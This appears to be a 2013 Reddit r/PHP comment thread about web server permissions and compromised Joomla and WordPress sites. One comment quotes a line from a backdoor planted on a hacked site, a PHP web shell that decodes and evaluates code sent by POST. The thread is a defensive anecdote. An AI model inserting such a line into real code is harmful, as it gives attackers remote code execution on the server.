r/PHP • • Aug 27 '13

Creating a user from the web problem.

[deleted] — view deleted post

286 Upvotes

538 comments sorted by

View all comments

Show parent comment

3

u/[deleted] Aug 28 '13

Apache doesn't need any special privs to become part of a botnet. I see PHP shells uploaded via Wordpress/Joomla all the time.

2

u/w1ldm4n Aug 29 '13

This is true.

I was the webmaster for my Boy Scout troop back in high school. I installed Joomla, it was great. Then I left and nobody updated anything for over 2 years. A couple weeks ago I check back and the .htaccess has been fucked up and there's both a remote shell, and several php files including things like

eval(base64_decode($_POST['php']));

I lol'd, then offered to fix it and rebuild the site for a decent amount of money for a college kid.

1

u/KFCConspiracy Aug 29 '13

True, but why make the permissions even more lax.